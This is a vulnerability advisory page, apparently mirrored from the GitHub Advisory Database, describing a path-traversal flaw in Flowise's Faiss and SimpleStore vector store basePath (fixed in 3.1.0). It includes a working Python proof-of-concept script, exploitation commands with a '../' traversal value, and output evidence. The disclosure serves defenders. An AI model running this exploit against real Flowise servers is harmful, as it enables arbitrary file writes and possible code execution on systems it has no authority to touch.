Free AI Safety Workshop — in collaboration with explainx.aiSave your seat
AgentbeamBeta
AI agent vulnerability · Flowise

GHSA-w6v6-49gh-mc9w: Flowise: Path Traversal in Vector Store basePath

mediumCVSS 4.0 4.9

Summary The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a basePath parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem.

Published Apr 16, 2026

Affected packages

flowise

Ecosystem
npm
Affected
<= 3.0.13
Fixed in
3.1.0
Check
npm ls flowise

flowise-components

Ecosystem
npm
Affected
<= 3.0.13
Fixed in
3.1.0
Check
npm ls flowise-components

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The Faiss and SimpleStore (LlamaIndex) vector store implementations accept a basePath parameter from user-controlled input and pass it directly to filesystem write operations without any sanitization. An authenticated attacker can exploit this to write vector store data to arbitrary locations on the server filesystem.

Vulnerability Details

| Field | Value |
| Affected File | `packages/components/nodes/vectorstores/Faiss/Faiss.ts` (lines 79, 91) |
| Affected File | `packages/components/nodes/vectorstores/SimpleStore/SimpleStore.ts` (lines 83-104) |

Prerequisites

  1. Authentication: Valid API token with documentStores:upsert-config permission
  2. Document Store: An existing Document Store with at least one processed chunk
  3. Embedding Credentials: Valid embedding provider credentials (e.g., OpenAI API key)

Root Cause

Faiss (Faiss.ts)

async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
    const basePath = nodeData.inputs?.basePath as string  // User-controlled
    // ...
    const vectorStore = await FaissStore.fromDocuments(finalDocs, embeddings)
    await vectorStore.save(basePath)  // Direct filesystem write, no validation
}

SimpleStore (SimpleStore.ts)

async upsert(nodeData: INodeData): Promise<Partial<IndexingResult>> {
    const basePath = nodeData.inputs?.basePath as string  // User-controlled
    
    let filePath = ''
    if (!basePath) filePath = path.join(getUserHome(), '.flowise', 'llamaindex')
    else filePath = basePath  // Used directly without sanitization
    
    const storageContext = await storageContextFromDefaults({ persistDir: filePath })  // Writes to arbitrary path
}

Impact

An authenticated attacker can:

  1. Write files to arbitrary locations on the server filesystem
  2. Overwrite existing files if the process has write permissions
  3. Potential for code execution by writing to web-accessible directories or startup scripts
  4. Data exfiltration by writing to network-mounted filesystems

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Path Traversal in Vector Store basePath (CWE-22)

Usage:
  python poc.py --target http://localhost:3000 --token <API_KEY> --store-id <STORE_ID> --credential <EMBEDDING_CREDENTIAL_ID>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=120) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True)
    ap.add_argument("--token", required=True)
    ap.add_argument("--store-id", required=True)
    ap.add_argument("--credential", required=True)
    ap.add_argument("--base-path", default="/tmp/flowise-path-traversal-poc")
    args = ap.parse_args()

    payload = {
        "storeId": args.store_id,
        "vectorStoreName": "faiss",
        "vectorStoreConfig": {"basePath": args.base_path},
        "embeddingName": "openAIEmbeddings",
        "embeddingConfig": {"credential": args.credential},
    }

    url = args.target.rstrip("/") + "/api/v1/document-store/vectorstore/insert"
    headers = {"Authorization": f"Bearer {args.token}"}

    try:
        status, body = post_json(url, payload, headers)
        print(body)
    except urllib.error.HTTPError as e:
        print(e.read().decode())

if __name__ == "__main__":
    main()

Setup

  1. Create a Document Store in Flowise UI
  2. Add a Document Loader (e.g., Plain Text) with any content
  3. Click "Process" to create chunks
  4. Note the Store ID from the URL
  5. Get your embedding credential ID from Settings → Credentials

Exploitation

# Write to /tmp
python poc.py \
  --target http://127.0.0.1:3000 \
  --token <API_TOKEN> \
  --store-id <STORE_ID> \
  --credential <OPENAI_CREDENTIAL_ID> \
  --base-path /tmp/flowise-pwned

# Path traversal variant
python poc.py \
  --target http://127.0.0.1:3000 \
  --token <API_TOKEN> \
  --store-id <STORE_ID> \
  --credential <OPENAI_CREDENTIAL_ID> \
  --base-path "../../../../tmp/traversal-test"

Evidence

$ python poc.py --target http://127.0.0.1:3000/ --token <TOKEN> --store-id 30af9716-ea51-47e6-af67-5a759a835100 --credential bb1baf6e-acb7-4ea0-b167-59a09a28108f --base-path /tmp/flowise-pwned

{"numAdded":1,"addedDocs":[{"pageContent":"Lorem Ipsum","metadata":{"docId":"d84d9581-0778-454d-984e-42b372b1b555"}}],"totalChars":0,"totalChunks":0,"whereUsed":[]}

$ ls -la /tmp/flowise-pwned/
total 16
drwxr-xr-x  4 user  wheel   128 Jan 17 12:00 .
drwxrwxrwt 12 root  wheel   384 Jan 17 12:00 ..
-rw-r--r--  1 user  wheel  1234 Jan 17 12:00 docstore.json
-rw-r--r--  1 user  wheel  5678 Jan 17 12:00 faiss.index

Credited to tenbbughunters.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Flowise vulnerabilities

All Flowise entries